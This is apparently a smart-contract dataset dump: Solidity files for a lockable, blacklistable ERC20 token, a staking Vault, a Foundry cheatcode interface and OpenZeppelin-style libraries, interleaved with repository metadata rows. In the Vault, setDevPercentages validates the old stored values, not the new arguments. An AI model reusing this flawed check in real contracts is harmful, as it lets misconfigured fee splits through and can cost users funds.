lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances");
if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
}
sys.lockUntil = unlockDate;
sys.amountToken = sys.amountToken.add(amountLock);
emit LockUntil(account, sys.amountToken, unlockDate);
}
function _wantUnlock(address account) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
sys.lockUntil = 0;
sys.amountToken = 0;
emit LockUntil(account, 0, 0);
}
function _wantblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == false, "ERC20: Address already in blacklist");
_blacklist[account] = true;
emit PutToBlacklist(account, true);
}
function _wantunblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == true, "ERC20: Address not blacklisted");
_blacklist[account] = false;
emit PutToBlacklist(account, false);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address funder, address spender, uint256 amount) internal virtual {
require(funder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[funder][spender] = amount;
emit Approval(funder, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 75,801 | 13,269 |
e1fb3ef211813a554f9e0266c3e03fe34b5a0b897c04204ffb405b08cc7ffe9e
| 23,438 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x4293CF32676B6F1Bb667866986c99E6300661bD3/contract.sol
| 3,762 | 14,481 |
pragma solidity =0.6.2;
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
contract ContextUpgradeSafe is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
uint256[50] private __gap;
}
contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// People lock their `lockToken` and get rewarded `rewardToken`
/// @notice This contract allows you to lock lockToken tokens and receive earnings
/// It also allows you to extract those earnings
contract Vault is Initializable, OwnableUpgradeSafe {
using SafeMath for uint256;
// How many lockToken tokens each user has
mapping (address => uint256) public amountLocked;
// The price when you extracted your earnings so we can whether you got new earnings or not
mapping (address => uint256) public lastPriceEarningsExtracted;
// When the user started locking his lockToken tokens
mapping (address => uint256) public depositStarts;
mapping (address => uint256) public lockingTime;
// The uniswap lockToken token contract
address public lockToken;
// The reward token that people receive based on the staking time
address public rewardToken;
// How many lockToken tokens are locked
uint256 public totalLiquidityLocked;
uint256 public lockTokenFeePrice;
uint256 public accomulatedRewards;
uint256 public pricePadding;
address payable public devTreasury;
uint256 public minTimeLock;
uint256 public maxTimeLock;
uint256 public minDevTreasuryPercentage;
uint256 public maxDevTreasuryPercentage;
// The last block number when fee was updated
uint256 public lastBlockFee;
uint256 public rewardPerBlock;
// increase the lockTokenFeePrice
receive() external payable {
addFeeAndUpdatePrice(msg.value);
}
function initialize(address _lockToken, address _rewardToken, address payable _devTreasury) public initializer {
__Ownable_init();
lockToken = _lockToken;
pricePadding = 1e18;
devTreasury = _devTreasury;
minTimeLock = 30 days;
maxTimeLock = 365 days;
minDevTreasuryPercentage = 50e18;
maxDevTreasuryPercentage = 10e18;
lastBlockFee = 0;
rewardToken = _rewardToken;
// The average block time is 3 seconds, therefore 1 day is 28800 blocks
// 1e18 / 28800 is 1 onek per 28800 blocks (a day on average in BSC)
rewardPerBlock = 35e12;
}
// Must be in 1e18 since it's using the pricePadding
function setRewardPerBlock(uint256 _rewardPerBlock) external onlyOwner {
rewardPerBlock = _rewardPerBlock;
}
function setDevTreasury(address payable _devTreasury) external onlyOwner {
devTreasury = _devTreasury;
}
// Must be in seconds
function setTimeLocks(uint256 _minTimeLock, uint256 _maxTimeLock) external onlyOwner {
minTimeLock = _minTimeLock;
maxTimeLock = _maxTimeLock;
}
function setDevPercentages(uint256 _minDevTreasuryPercentage, uint256 _maxDevTreasuryPercentage) external onlyOwner {
require(minDevTreasuryPercentage > maxDevTreasuryPercentage, 'Vault: The min % must be larger');
minDevTreasuryPercentage = _minDevTreasuryPercentage;
maxDevTreasuryPercentage = _maxDevTreasuryPercentage;
}
/// @notice When ETH is added, the price is increased
/// Price is = (feeIn / totalLockTokenFeeDistributed) + currentPrice
/// padded with 18 zeroes that get removed after the calculations
/// if there are no locked lockTokens, the price is 0
function addFeeAndUpdatePrice(uint256 _feeIn) internal {
accomulatedRewards = accomulatedRewards.add(_feeIn);
if (totalLiquidityLocked == 0) {
lockTokenFeePrice = 0;
} else {
lockTokenFeePrice = (_feeIn.mul(pricePadding).div(totalLiquidityLocked)).add(lockTokenFeePrice);
}
}
/// @notice To calculate how much fee should be added based on time
function updateFeeIn() internal {
// setup the intial block instead of getting rewards right away
if (lastBlockFee != 0) {
// Use it
uint256 blocksPassed = block.number - lastBlockFee;
uint256 feeIn = blocksPassed.mul(rewardPerBlock);
if (feeIn > 0) addFeeAndUpdatePrice(feeIn);
// Update it
}
lastBlockFee = block.number;
}
// The time lock is reset every new deposit
function lockLiquidity(uint256 _amount, uint256 _timeLock) external {
updateFeeIn();
require(_amount > 0, 'Vault: Amount must be larger than zero');
require(_timeLock >= minTimeLock && _timeLock <= maxTimeLock, 'Vault: You must setup a locking time between the ranges');
// Transfer lockToken tokens inside here while earning fees from every transfer
uint256 approval = IERC20(lockToken).allowance(msg.sender, address(this));
require(approval >= _amount, 'Vault: You must approve the desired amount of lockToken tokens to this contract first');
IERC20(lockToken).transferFrom(msg.sender, address(this), _amount);
totalLiquidityLocked = totalLiquidityLocked.add(_amount);
// Extract earnings in case the user is not a new Locked lockToken
if (lastPriceEarningsExtracted[msg.sender] != 0 && lastPriceEarningsExtracted[msg.sender] != lockTokenFeePrice) {
extractEarnings();
}
// Set the initial price
if (lockTokenFeePrice == 0) {
lockTokenFeePrice = accomulatedRewards.mul(pricePadding).div(_amount).add(1e18);
lastPriceEarningsExtracted[msg.sender] = 1e18;
} else {
lastPriceEarningsExtracted[msg.sender] = lockTokenFeePrice;
}
// The price doesn't change when locking lockToken. It changes when fees are generated from transfers
amountLocked[msg.sender] = amountLocked[msg.sender].add(_amount);
// Notice that the locking time is reset when new lockToken is added
depositStarts[msg.sender] = now;
lockingTime[msg.sender] = _timeLock;
}
// We check for new earnings by seeing if the price the user last extracted his earnings
// is the same or not to determine whether he can extract new earnings or not
function extractEarnings() public {
updateFeeIn();
require(amountLocked[msg.sender] > 0, 'Vault: You must have locked lockToken provider tokens to extract your earnings');
require(lockTokenFeePrice != lastPriceEarningsExtracted[msg.sender], 'Vault: You have already extracted your earnings');
// The amountLocked price minus the last price extracted
uint256 myPrice = lockTokenFeePrice.sub(lastPriceEarningsExtracted[msg.sender]);
uint256 earnings = amountLocked[msg.sender].mul(myPrice).div(pricePadding);
lastPriceEarningsExtracted[msg.sender] = lockTokenFeePrice;
accomulatedRewards = accomulatedRewards.sub(earnings);
uint256 devTreasuryPercentage = calcDevTreasuryPercentage(lockingTime[msg.sender]);
uint256 devTreasuryEarnings = earnings.mul(devTreasuryPercentage).div(1e20);
uint256 remaining = earnings.sub(devTreasuryEarnings);
// Transfer the earnings
IERC20(rewardToken).transfer(devTreasury, devTreasuryEarnings);
IERC20(rewardToken).transfer(msg.sender, remaining);
}
// The user must lock the lockToken for 1 year and only then can extract his Locked lockToken tokens
// he must extract all the lockTokens for simplicity and security purposes
function extractLiquidity() external {
updateFeeIn();
require(amountLocked[msg.sender] > 0, 'Vault: You must have locked lockTokens to extract them');
require(now.sub(depositStarts[msg.sender]) >= lockingTime[msg.sender], 'Vault: You must wait the specified locking time to extract your lockToken provider tokens');
// Extract earnings in case there are some
if (lastPriceEarningsExtracted[msg.sender] != 0 && lastPriceEarningsExtracted[msg.sender] != lockTokenFeePrice) {
extractEarnings();
}
uint256 locked = amountLocked[msg.sender];
amountLocked[msg.sender] = 0;
depositStarts[msg.sender] = now;
lastPriceEarningsExtracted[msg.sender] = 0;
totalLiquidityLocked = totalLiquidityLocked.sub(locked);
IERC20(lockToken).transfer(msg.sender, locked);
}
/// Returns the treasury percentage padded with 18 zeroes
function calcDevTreasuryPercentage(uint256 _lockingTime) public view returns(uint256) {
require(_lockingTime >= minTimeLock && _lockingTime <= maxTimeLock, 'Vault: You must setup a locking time between the ranges');
if (_lockingTime == maxTimeLock) {
return maxDevTreasuryPercentage;
}
if (_lockingTime == minTimeLock) {
return minDevTreasuryPercentage;
}
uint256 padding = 1e18;
uint256 combinedDays = maxTimeLock.sub(minTimeLock);
uint256 combinedFee = minDevTreasuryPercentage.sub(maxDevTreasuryPercentage);
// There's no risk of a ratio == 0 since we return the right percentage when lockTime == minLockTime
uint256 ratio = (_lockingTime.sub(minTimeLock)).mul(padding).div(combinedDays);
return minDevTreasuryPercentage.sub(ratio.mul(combinedFee).div(padding));
}
function getAmountLocked(address _user) external view returns(uint256) {
return amountLocked[_user];
}
}
| 249,149 | 13,270 |
65fc703c378fb27c433337ec4162d52af9ff6cf92553d18525a12ee714ce20ab
| 20,835 |
.sol
|
Solidity
| false |
552755900
|
alpaca-finance/alpaca-v2-money-market
|
4d298610cc5a6093d9f358fea32c5304121f0db5
|
solidity/tests/utils/VM.sol
| 3,959 | 16,130 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.9.0;
pragma experimental ABIEncoderV2;
// Cheatcodes are marked as view/pure/none using the following rules:
// 0. A call's observable behaviour includes its return value, logs, reverts and state writes.
// 2. Otherwise if you can be influenced by an earlier call, or if reading some state, you're `view`,
// 3. Otherwise you're `pure`.
interface VmSafe {
struct Log {
bytes32[] topics;
bytes data;
address emitter;
}
// Loads a storage slot from an address (who, slot)
function load(address, bytes32) external view returns (bytes32);
// Signs data, (privateKey, digest) => (v, r, s)
function sign(uint256, bytes32)
external
pure
returns (uint8,
bytes32,
bytes32);
// Gets the address for a given private key, (privateKey) => (address)
function addr(uint256) external pure returns (address);
// Gets the nonce of an account
function getNonce(address) external view returns (uint64);
// Performs a foreign function call via the terminal, (stringInputs) => (result)
function ffi(string[] calldata) external returns (bytes memory);
// Sets environment variables, (name, value)
function setEnv(string calldata, string calldata) external;
// Reads environment variables, (name) => (value)
function envBool(string calldata) external view returns (bool);
function envUint(string calldata) external view returns (uint256);
function envInt(string calldata) external view returns (int256);
function envAddress(string calldata) external view returns (address);
function envBytes32(string calldata) external view returns (bytes32);
function envString(string calldata) external view returns (string memory);
function envBytes(string calldata) external view returns (bytes memory);
// Reads environment variables as arrays, (name, delim) => (value[])
function envBool(string calldata, string calldata) external view returns (bool[] memory);
function envUint(string calldata, string calldata) external view returns (uint256[] memory);
function envInt(string calldata, string calldata) external view returns (int256[] memory);
function envAddress(string calldata, string calldata) external view returns (address[] memory);
function envBytes32(string calldata, string calldata) external view returns (bytes32[] memory);
function envString(string calldata, string calldata) external view returns (string[] memory);
function envBytes(string calldata, string calldata) external view returns (bytes[] memory);
// Records all storage reads and writes
function record() external;
// Gets all accessed reads and write slot from a recording session, for a given address
function accesses(address) external returns (bytes32[] memory reads, bytes32[] memory writes);
// Gets the _creation_ bytecode from an artifact file. Takes in the relative path to the json file
function getCode(string calldata) external view returns (bytes memory);
// Gets the _deployed_ bytecode from an artifact file. Takes in the relative path to the json file
function getDeployedCode(string calldata) external view returns (bytes memory);
// Labels an address in call traces
function label(address, string calldata) external;
function broadcast() external;
function broadcast(address) external;
function broadcast(uint256) external;
function startBroadcast() external;
function startBroadcast(address) external;
function startBroadcast(uint256) external;
// Stops collecting onchain transactions
function stopBroadcast() external;
// Reads the entire content of file to string, (path) => (data)
function readFile(string calldata) external view returns (string memory);
// Reads the entire content of file as binary. Path is relative to the project root. (path) => (data)
function readFileBinary(string calldata) external view returns (bytes memory);
// Get the path of the current project root
function projectRoot() external view returns (string memory);
// Reads next line of file to string, (path) => (line)
function readLine(string calldata) external view returns (string memory);
// (path, data) => ()
function writeFile(string calldata, string calldata) external;
// Path is relative to the project root. (path, data) => ()
function writeFileBinary(string calldata, bytes calldata) external;
// Writes line to file, creating a file if it does not exist.
// (path, data) => ()
function writeLine(string calldata, string calldata) external;
// (path) => ()
function closeFile(string calldata) external;
// - Path points to a directory.
// - The file doesn't exist.
// - The user lacks permissions to remove the file.
// (path) => ()
function removeFile(string calldata) external;
// Convert values to a string, (value) => (stringified value)
function toString(address) external pure returns (string memory);
function toString(bytes calldata) external pure returns (string memory);
function toString(bytes32) external pure returns (string memory);
function toString(bool) external pure returns (string memory);
function toString(uint256) external pure returns (string memory);
function toString(int256) external pure returns (string memory);
// Convert values from a string, (string) => (parsed value)
function parseBytes(string calldata) external pure returns (bytes memory);
function parseAddress(string calldata) external pure returns (address);
function parseUint(string calldata) external pure returns (uint256);
function parseInt(string calldata) external pure returns (int256);
function parseBytes32(string calldata) external pure returns (bytes32);
function parseBool(string calldata) external pure returns (bool);
// Record all the transaction logs
function recordLogs() external;
// Gets all the recorded logs, () => (logs)
function getRecordedLogs() external returns (Log[] memory);
function deriveKey(string calldata, uint32) external pure returns (uint256);
function deriveKey(string calldata,
string calldata,
uint32) external pure returns (uint256);
// Adds a private key to the local forge wallet and returns the address
function rememberKey(uint256) external returns (address);
//
// parseJson
//
// ----
// In case the returned value is a JSON object, it's encoded as a ABI-encoded tuple. As JSON objects
// as tuples, with the attributes in the order in which they are defined.
// For example: json = { 'a': 1, 'b': 0xa4tb......3xs}
// a: uint256
// b: address
// To decode that json, we need to define a struct or a tuple as follows:
// struct json = { uint256 a; address b; }
// decode the tuple in that order, and thus fail.
// ----
// Given a string of JSON, return it as ABI-encoded, (stringified json, key) => (ABI-encoded data)
function parseJson(string calldata, string calldata) external pure returns (bytes memory);
function parseJson(string calldata) external pure returns (bytes memory);
//
// writeJson
//
// ----
// Let's assume we want to write the following JSON to a file:
//
// { "boolean": true, "number": 342, "object": { "title": "finally json serialization" } }
//
// ```
// string memory json1 = "some key";
// vm.serializeBool(json1, "boolean", true);
// vm.serializeBool(json1, "number", uint256(342));
// json2 = "some other key";
// string memory output = vm.serializeString(json2, "title", "finally json serialization");
// string memory finalJson = vm.serialize(json1, "object", output);
// vm.writeJson(finalJson, "./output/example.json");
// ```
// to serialize them as values to another JSON object.
//
// will find the object in-memory that is keyed by "some key". // writeJson
// ----
// Serialize a key and value to a JSON object stored in-memory that can be latery written to a file
// It returns the stringified version of the specific JSON file up to that moment.
// (object_key, value_key, value) => (stringified JSON)
function serializeBool(string calldata,
string calldata,
bool) external returns (string memory);
function serializeUint(string calldata,
string calldata,
uint256) external returns (string memory);
function serializeInt(string calldata,
string calldata,
int256) external returns (string memory);
function serializeAddress(string calldata,
string calldata,
address) external returns (string memory);
function serializeBytes32(string calldata,
string calldata,
bytes32) external returns (string memory);
function serializeString(string calldata,
string calldata,
string calldata) external returns (string memory);
function serializeBytes(string calldata,
string calldata,
bytes calldata) external returns (string memory);
function serializeBool(string calldata,
string calldata,
bool[] calldata) external returns (string memory);
function serializeUint(string calldata,
string calldata,
uint256[] calldata) external returns (string memory);
function serializeInt(string calldata,
string calldata,
int256[] calldata) external returns (string memory);
function serializeAddress(string calldata,
string calldata,
address[] calldata) external returns (string memory);
function serializeBytes32(string calldata,
string calldata,
bytes32[] calldata) external returns (string memory);
function serializeString(string calldata,
string calldata,
string[] calldata) external returns (string memory);
function serializeBytes(string calldata,
string calldata,
bytes[] calldata) external returns (string memory);
// Write a serialized JSON object to a file. If the file exists, it will be overwritten.
// (stringified_json, path)
function writeJson(string calldata, string calldata) external;
// (stringified_json, path, value_key)
function writeJson(string calldata,
string calldata,
string calldata) external;
// Returns the RPC url for the given alias
function rpcUrl(string calldata) external view returns (string memory);
// Returns all rpc urls and their aliases `[alias, url][]`
function rpcUrls() external view returns (string[2][] memory);
// If the condition is false, discard this run's fuzz inputs and generate new ones.
function assume(bool) external pure;
}
interface VM is VmSafe {
// Sets block.timestamp (newTimestamp)
function warp(uint256) external;
// Sets block.height (newHeight)
function roll(uint256) external;
// Sets block.basefee (newBasefee)
function fee(uint256) external;
// Sets block.difficulty (newDifficulty)
function difficulty(uint256) external;
// Sets block.chainid
function chainId(uint256) external;
// Stores a value to an address' storage slot, (who, slot, value)
function store(address,
bytes32,
bytes32) external;
// Sets the nonce of an account; must be higher than the current nonce of the account
function setNonce(address, uint64) external;
// Sets the *next* call's msg.sender to be the input address
function prank(address) external;
// Sets all subsequent calls' msg.sender to be the input address until `stopPrank` is called
function startPrank(address) external;
function prank(address, address) external;
function startPrank(address, address) external;
// Resets subsequent calls' msg.sender to be `address(this)`
function stopPrank() external;
// Sets an address' balance, (who, newBalance)
function deal(address, uint256) external;
// Sets an address' code, (who, newCode)
function etch(address, bytes calldata) external;
// Expects an error on next call
function expectRevert(bytes calldata) external;
function expectRevert(bytes4) external;
function expectRevert() external;
function expectEmit(bool,
bool,
bool,
bool) external;
function expectEmit(bool,
bool,
bool,
bool,
address) external;
// Mocks a call to an address, returning specified data.
// Calldata can either be strict or a partial match, e.g. if you only
// pass a Solidity selector to the expected calldata, then the entire Solidity
// function will be mocked.
function mockCall(address,
bytes calldata,
bytes calldata) external;
// Mocks a call to an address with a specific msg.value, returning specified data.
// Calldata match takes precedence over msg.value in case of ambiguity.
function mockCall(address,
uint256,
bytes calldata,
bytes calldata) external;
function mockCallRevert(address callee,
bytes calldata data,
bytes calldata revertData) external;
// Reverts a call to an address with a specific msg.value, with specified revert data.
function mockCallRevert(address callee,
uint256 msgValue,
bytes calldata data,
bytes calldata revertData) external;
// Clears all mocked calls
function clearMockedCalls() external;
// Expects a call to an address with the specified calldata.
// Calldata can either be a strict or a partial match
function expectCall(address, bytes calldata) external;
// Expects a call to an address with the specified msg.value and calldata
function expectCall(address,
uint256,
bytes calldata) external;
// Sets block.coinbase (who)
function coinbase(address) external;
// Snapshot the current state of the evm.
// Returns the id of the snapshot that was created.
// To revert a snapshot use `revertTo`
function snapshot() external returns (uint256);
// Revert the state of the evm to a previous snapshot
// Takes the snapshot id to revert to.
// This deletes the snapshot and all snapshots taken after the given snapshot id.
function revertTo(uint256) external returns (bool);
// Creates a new fork with the given endpoint and block and returns the identifier of the fork
function createFork(string calldata, uint256) external returns (uint256);
function createFork(string calldata) external returns (uint256);
function createFork(string calldata, bytes32) external returns (uint256);
function createSelectFork(string calldata, uint256) external returns (uint256);
function createSelectFork(string calldata, bytes32) external returns (uint256);
function createSelectFork(string calldata) external returns (uint256);
// Takes a fork identifier created by `createFork` and sets the corresponding forked state as active.
function selectFork(uint256) external;
/// Returns the currently active fork
/// Reverts if no fork is currently active
function activeFork() external view returns (uint256);
// Updates the currently active fork to given block number
// This is similar to `roll` but for the currently active fork
function rollFork(uint256) external;
// Updates the currently active fork to given transaction
function rollFork(bytes32) external;
// Updates the given fork to given block number
function rollFork(uint256 forkId, uint256 blockNumber) external;
function rollFork(uint256 forkId, bytes32 transaction) external;
// Marks that the account(s) should use persistent storage across fork swaps in a multifork setup
// Meaning, changes made to the state of this account will be kept when switching forks
function makePersistent(address) external;
function makePersistent(address, address) external;
function makePersistent(address,
address,
address) external;
function makePersistent(address[] calldata) external;
// Revokes persistent status from the address, previously added via `makePersistent`
function revokePersistent(address) external;
function revokePersistent(address[] calldata) external;
// Returns true if the account is marked as persistent
function isPersistent(address) external view returns (bool);
// In forking mode, explicitly grant the given address cheatcode access
function allowCheatcodes(address) external;
// Fetches the given transaction from the active fork and executes it on the current state
function transact(bytes32 txHash) external;
// Fetches the given transaction from the given fork and executes it on the current state
function transact(uint256 forkId, bytes32 txHash) external;
}
| 244,092 | 13,271 |
0d0b3740b9967acd967c9a61cfcf9da564d8aaf9ff6291e987f8dd3f50bca740
| 30,346 |
.sol
|
Solidity
| false |
363993391
|
gasgauge/gasgauge.github.io
|
7795ecd73e31b875fb199c36a74ab8ecd74f870d
|
Benchmark/no loops/0x9A41b2C10B8384B23f3efEa06599f20CDcc6a51F.sol
| 3,501 | 13,291 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.5 <0.7.17;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call.value(weiValue)(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Context {
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
